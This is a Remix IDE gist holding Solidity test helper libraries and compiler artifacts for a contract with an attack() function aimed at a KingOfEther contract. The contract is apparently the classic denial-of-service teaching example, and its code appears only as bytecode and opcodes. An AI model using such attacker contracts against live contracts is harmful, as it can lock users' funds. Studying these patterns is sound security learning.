Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vyorkin/512edbe1bb518997baec6315a4324de3 to your computer and use it in GitHub Desktop.
Save vyorkin/512edbe1bb518997baec6315a4324de3 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.12+commit.f00d7308.js&optimize=false&runs=200&gist=
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.22 <0.9.0;
library TestsAccounts {
function getAccount(uint index) pure public returns (address) {
address[15] memory accounts;
accounts[0] = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
accounts[1] = 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2;
accounts[2] = 0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db;
accounts[3] = 0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB;
accounts[4] = 0x617F2E2fD72FD9D5503197092aC168c91465E7f2;
accounts[5] = 0x17F6AD8Ef982297579C203069C1DbfFE4348c372;
accounts[6] = 0x5c6B0f7Bf3E7ce046039Bd8FABdfD3f9F5021678;
accounts[7] = 0x03C6FcED478cBbC9a4FAB34eF9f40767739D1Ff7;
accounts[8] = 0x1aE0EA34a72D944a8C7603FfB3eC30a6669E454C;
accounts[9] = 0x0A098Eda01Ce92ff4A4CCb7A4fFFb5A43EBC70DC;
accounts[10] = 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c;
accounts[11] = 0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C;
accounts[12] = 0x4B0897b0513fdC7C541B6d9D7E929C4e5364D2dB;
accounts[13] = 0x583031D1113aD414F02576BD6afaBfb302140225;
accounts[14] = 0xdD870fA1b7C4700F2BD7f44238821C26f7392148;
return accounts[index];
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.22 <0.9.0;
library Assert {
event AssertionEvent(
bool passed,
string message,
string methodName
);
event AssertionEventUint(
bool passed,
string message,
string methodName,
uint256 returned,
uint256 expected
);
event AssertionEventInt(
bool passed,
string message,
string methodName,
int256 returned,
int256 expected
);
event AssertionEventBool(
bool passed,
string message,
string methodName,
bool returned,
bool expected
);
event AssertionEventAddress(
bool passed,
string message,
string methodName,
address returned,
address expected
);
event AssertionEventBytes32(
bool passed,
string message,
string methodName,
bytes32 returned,
bytes32 expected
);
event AssertionEventString(
bool passed,
string message,
string methodName,
string returned,
string expected
);
event AssertionEventUintInt(
bool passed,
string message,
string methodName,
uint256 returned,
int256 expected
);
event AssertionEventIntUint(
bool passed,
string message,
string methodName,
int256 returned,
uint256 expected
);
function ok(bool a, string memory message) public returns (bool result) {
result = a;
emit AssertionEvent(result, message, "ok");
}
function equal(uint256 a, uint256 b, string memory message) public returns (bool result) {
result = (a == b);
emit AssertionEventUint(result, message, "equal", a, b);
}
function equal(int256 a, int256 b, string memory message) public returns (bool result) {
result = (a == b);
emit AssertionEventInt(result, message, "equal", a, b);
}
function equal(bool a, bool b, string memory message) public returns (bool result) {
result = (a == b);
emit AssertionEventBool(result, message, "equal", a, b);
}
// TODO: only for certain versions of solc
//function equal(fixed a, fixed b, string message) public returns (bool result) {
// result = (a == b);
// emit AssertionEvent(result, message);
//}
// TODO: only for certain versions of solc
//function equal(ufixed a, ufixed b, string message) public returns (bool result) {
// result = (a == b);
// emit AssertionEvent(result, message);
//}
function equal(address a, address b, string memory message) public returns (bool result) {
result = (a == b);
emit AssertionEventAddress(result, message, "equal", a, b);
}
function equal(bytes32 a, bytes32 b, string memory message) public returns (bool result) {
result = (a == b);
emit AssertionEventBytes32(result, message, "equal", a, b);
}
function equal(string memory a, string memory b, string memory message) public returns (bool result) {
result = (keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b)));
emit AssertionEventString(result, message, "equal", a, b);
}
function notEqual(uint256 a, uint256 b, string memory message) public returns (bool result) {
result = (a != b);
emit AssertionEventUint(result, message, "notEqual", a, b);
}
function notEqual(int256 a, int256 b, string memory message) public returns (bool result) {
result = (a != b);
emit AssertionEventInt(result, message, "notEqual", a, b);
}
function notEqual(bool a, bool b, string memory message) public returns (bool result) {
result = (a != b);
emit AssertionEventBool(result, message, "notEqual", a, b);
}
// TODO: only for certain versions of solc
//function notEqual(fixed a, fixed b, string message) public returns (bool result) {
// result = (a != b);
// emit AssertionEvent(result, message);
//}
// TODO: only for certain versions of solc
//function notEqual(ufixed a, ufixed b, string message) public returns (bool result) {
// result = (a != b);
// emit AssertionEvent(result, message);
//}
function notEqual(address a, address b, string memory message) public returns (bool result) {
result = (a != b);
emit AssertionEventAddress(result, message, "notEqual", a, b);
}
function notEqual(bytes32 a, bytes32 b, string memory message) public returns (bool result) {
result = (a != b);
emit AssertionEventBytes32(result, message, "notEqual", a, b);
}
function notEqual(string memory a, string memory b, string memory message) public returns (bool result) {
result = (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b)));
emit AssertionEventString(result, message, "notEqual", a, b);
}
/*----------------- Greater than --------------------*/
function greaterThan(uint256 a, uint256 b, string memory message) public returns (bool result) {
result = (a > b);
emit AssertionEventUint(result, message, "greaterThan", a, b);
}
function greaterThan(int256 a, int256 b, string memory message) public returns (bool result) {
result = (a > b);
emit AssertionEventInt(result, message, "greaterThan", a, b);
}
// TODO: safely compare between uint and int
function greaterThan(uint256 a, int256 b, string memory message) public returns (bool result) {
if(b < int(0)) {
// int is negative uint "a" always greater
result = true;
} else {
result = (a > uint(b));
}
emit AssertionEventUintInt(result, message, "greaterThan", a, b);
}
function greaterThan(int256 a, uint256 b, string memory message) public returns (bool result) {
if(a < int(0)) {
// int is negative uint "b" always greater
result = false;
} else {
result = (uint(a) > b);
}
emit AssertionEventIntUint(result, message, "greaterThan", a, b);
}
/*----------------- Lesser than --------------------*/
function lesserThan(uint256 a, uint256 b, string memory message) public returns (bool result) {
result = (a < b);
emit AssertionEventUint(result, message, "lesserThan", a, b);
}
function lesserThan(int256 a, int256 b, string memory message) public returns (bool result) {
result = (a < b);
emit AssertionEventInt(result, message, "lesserThan", a, b);
}
// TODO: safely compare between uint and int
function lesserThan(uint256 a, int256 b, string memory message) public returns (bool result) {
if(b < int(0)) {
// int is negative int "b" always lesser
result = false;
} else {
result = (a < uint(b));
}
emit AssertionEventUintInt(result, message, "lesserThan", a, b);
}
function lesserThan(int256 a, uint256 b, string memory message) public returns (bool result) {
if(a < int(0)) {
// int is negative int "a" always lesser
result = true;
} else {
result = (uint(a) < b);
}
emit AssertionEventIntUint(result, message, "lesserThan", a, b);
}
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {
"@_58": {
"entryPoint": null,
"id": 58,
"parameterSlots": 1,
"returnSlots": 0
},
"abi_decode_t_contract$_KingOfEther_$42_fromMemory": {
"entryPoint": 216,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_contract$_KingOfEther_$42_fromMemory": {
"entryPoint": 237,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"cleanup_t_address": {
"entryPoint": 157,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_contract$_KingOfEther_$42": {
"entryPoint": 175,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 125,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 120,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"validator_revert_t_contract$_KingOfEther_$42": {
"entryPoint": 193,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:1427:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "47:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "57:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "73:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "67:5:1"
},
"nodeType": "YulFunctionCall",
"src": "67:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "57:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "40:6:1",
"type": ""
}
],
"src": "7:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "177:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "194:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "197:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "187:6:1"
},
"nodeType": "YulFunctionCall",
"src": "187:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "187:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "88:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "300:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "317:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "320:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "310:6:1"
},
"nodeType": "YulFunctionCall",
"src": "310:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "310:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "211:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "379:81:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "389:65:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "404:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "411:42:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "400:3:1"
},
"nodeType": "YulFunctionCall",
"src": "400:54:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "389:7:1"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "361:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "371:7:1",
"type": ""
}
],
"src": "334:126:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "511:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "521:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "550:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "532:17:1"
},
"nodeType": "YulFunctionCall",
"src": "532:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "521:7:1"
}
]
}
]
},
"name": "cleanup_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "493:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "503:7:1",
"type": ""
}
],
"src": "466:96:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "631:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "641:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "670:5:1"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "652:17:1"
},
"nodeType": "YulFunctionCall",
"src": "652:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "641:7:1"
}
]
}
]
},
"name": "cleanup_t_contract$_KingOfEther_$42",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "613:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "623:7:1",
"type": ""
}
],
"src": "568:114:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "749:97:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "824:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "833:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "836:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "826:6:1"
},
"nodeType": "YulFunctionCall",
"src": "826:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "826:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "772:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "815:5:1"
}
],
"functionName": {
"name": "cleanup_t_contract$_KingOfEther_$42",
"nodeType": "YulIdentifier",
"src": "779:35:1"
},
"nodeType": "YulFunctionCall",
"src": "779:42:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "769:2:1"
},
"nodeType": "YulFunctionCall",
"src": "769:53:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "762:6:1"
},
"nodeType": "YulFunctionCall",
"src": "762:61:1"
},
"nodeType": "YulIf",
"src": "759:81:1"
}
]
},
"name": "validator_revert_t_contract$_KingOfEther_$42",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "742:5:1",
"type": ""
}
],
"src": "688:158:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "933:98:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "943:22:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "958:6:1"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "952:5:1"
},
"nodeType": "YulFunctionCall",
"src": "952:13:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "943:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1019:5:1"
}
],
"functionName": {
"name": "validator_revert_t_contract$_KingOfEther_$42",
"nodeType": "YulIdentifier",
"src": "974:44:1"
},
"nodeType": "YulFunctionCall",
"src": "974:51:1"
},
"nodeType": "YulExpressionStatement",
"src": "974:51:1"
}
]
},
"name": "abi_decode_t_contract$_KingOfEther_$42_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "911:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "919:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "927:5:1",
"type": ""
}
],
"src": "852:179:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1132:292:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1178:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "1180:77:1"
},
"nodeType": "YulFunctionCall",
"src": "1180:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "1180:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1153:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1162:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "1149:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1149:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1174:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "1145:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1145:32:1"
},
"nodeType": "YulIf",
"src": "1142:119:1"
},
{
"nodeType": "YulBlock",
"src": "1271:146:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "1286:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "1300:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "1290:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "1315:92:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1379:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "1390:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1375:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1375:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1399:7:1"
}
],
"functionName": {
"name": "abi_decode_t_contract$_KingOfEther_$42_fromMemory",
"nodeType": "YulIdentifier",
"src": "1325:49:1"
},
"nodeType": "YulFunctionCall",
"src": "1325:82:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1315:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_contract$_KingOfEther_$42_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1102:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "1113:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1125:6:1",
"type": ""
}
],
"src": "1037:387:1"
}
]
},
"contents": "{\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function cleanup_t_contract$_KingOfEther_$42(value) -> cleaned {\n cleaned := cleanup_t_address(value)\n }\n\n function validator_revert_t_contract$_KingOfEther_$42(value) {\n if iszero(eq(value, cleanup_t_contract$_KingOfEther_$42(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_contract$_KingOfEther_$42_fromMemory(offset, end) -> value {\n value := mload(offset)\n validator_revert_t_contract$_KingOfEther_$42(value)\n }\n\n function abi_decode_tuple_t_contract$_KingOfEther_$42_fromMemory(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_contract$_KingOfEther_$42_fromMemory(add(headStart, offset), dataEnd)\n }\n\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50604051610208380380610208833981810160405281019061003291906100ed565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505061011a565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100a88261007d565b9050919050565b60006100ba8261009d565b9050919050565b6100ca816100af565b81146100d557600080fd5b50565b6000815190506100e7816100c1565b92915050565b60006020828403121561010357610102610078565b5b6000610111848285016100d8565b91505092915050565b60e0806101286000396000f3fe608060405260043610601c5760003560e01c80639e5faafc146021575b600080fd5b60276029565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166369deb7b7346040518263ffffffff1660e01b81526004016000604051808303818588803b158015609057600080fd5b505af115801560a3573d6000803e3d6000fd5b505050505056fea26469706673582212205cb3fecb59ef57853342708f07c0599c5b000a25830b1540d7d8ce482ad5906764736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x40 MLOAD PUSH2 0x208 CODESIZE SUB DUP1 PUSH2 0x208 DUP4 CODECOPY DUP2 DUP2 ADD PUSH1 0x40 MSTORE DUP2 ADD SWAP1 PUSH2 0x32 SWAP2 SWAP1 PUSH2 0xED JUMP JUMPDEST DUP1 PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP POP PUSH2 0x11A JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0xA8 DUP3 PUSH2 0x7D JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0xBA DUP3 PUSH2 0x9D JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0xCA DUP2 PUSH2 0xAF JUMP JUMPDEST DUP2 EQ PUSH2 0xD5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP PUSH2 0xE7 DUP2 PUSH2 0xC1 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x103 JUMPI PUSH2 0x102 PUSH2 0x78 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x111 DUP5 DUP3 DUP6 ADD PUSH2 0xD8 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0xE0 DUP1 PUSH2 0x128 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH1 0x1C JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x9E5FAAFC EQ PUSH1 0x21 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x27 PUSH1 0x29 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x69DEB7B7 CALLVALUE PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH1 0x90 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH1 0xA3 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0x5C 0xB3 INVALID 0xCB MSIZE 0xEF JUMPI DUP6 CALLER TIMESTAMP PUSH17 0x8F07C0599C5B000A25830B1540D7D8CE48 0x2A 0xD5 SWAP1 PUSH8 0x64736F6C63430008 0xC STOP CALLER ",
"sourceMap": "424:517:0:-:0;;;476:94;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;550:12;524:11;;:39;;;;;;;;;;;;;;;;;;476:94;424:517;;88:117:1;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:114::-;623:7;652:24;670:5;652:24;:::i;:::-;641:35;;568:114;;;:::o;688:158::-;779:42;815:5;779:42;:::i;:::-;772:5;769:53;759:81;;836:1;833;826:12;759:81;688:158;:::o;852:179::-;927:5;958:6;952:13;943:22;;974:51;1019:5;974:51;:::i;:::-;852:179;;;;:::o;1037:387::-;1125:6;1174:2;1162:9;1153:7;1149:23;1145:32;1142:119;;;1180:79;;:::i;:::-;1142:119;1300:1;1325:82;1399:7;1390:6;1379:9;1375:22;1325:82;:::i;:::-;1315:92;;1271:146;1037:387;;;;:::o;424:517:0:-;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@attack_70": {
"entryPoint": 41,
"id": 70,
"parameterSlots": 0,
"returnSlots": 0
}
},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "608060405260043610601c5760003560e01c80639e5faafc146021575b600080fd5b60276029565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166369deb7b7346040518263ffffffff1660e01b81526004016000604051808303818588803b158015609057600080fd5b505af115801560a3573d6000803e3d6000fd5b505050505056fea26469706673582212205cb3fecb59ef57853342708f07c0599c5b000a25830b1540d7d8ce482ad5906764736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH1 0x1C JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x9E5FAAFC EQ PUSH1 0x21 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x27 PUSH1 0x29 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x69DEB7B7 CALLVALUE PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH1 0x90 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH1 0xA3 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0x5C 0xB3 INVALID 0xCB MSIZE 0xEF JUMPI DUP6 CALLER TIMESTAMP PUSH17 0x8F07C0599C5B000A25830B1540D7D8CE48 0x2A 0xD5 SWAP1 PUSH8 0x64736F6C63430008 0xC STOP CALLER ",
"sourceMap": "424:517:0:-:0;;;;;;;;;;;;;;;;;;;;;846:93;;;:::i;:::-;;;889:11;;;;;;;;;;:23;;;920:9;889:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;846:93::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "44800",
"executionCost": "infinite",
"totalCost": "infinite"
},
"external": {
"attack()": "infinite"
}
},
"methodIdentifiers": {
"attack()": "9e5faafc"
}
},
"abi": [
{
"inputs": [
{
"internalType": "contract KingOfEther",
"name": "_kingOfEther",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "payable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.12+commit.f00d7308"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
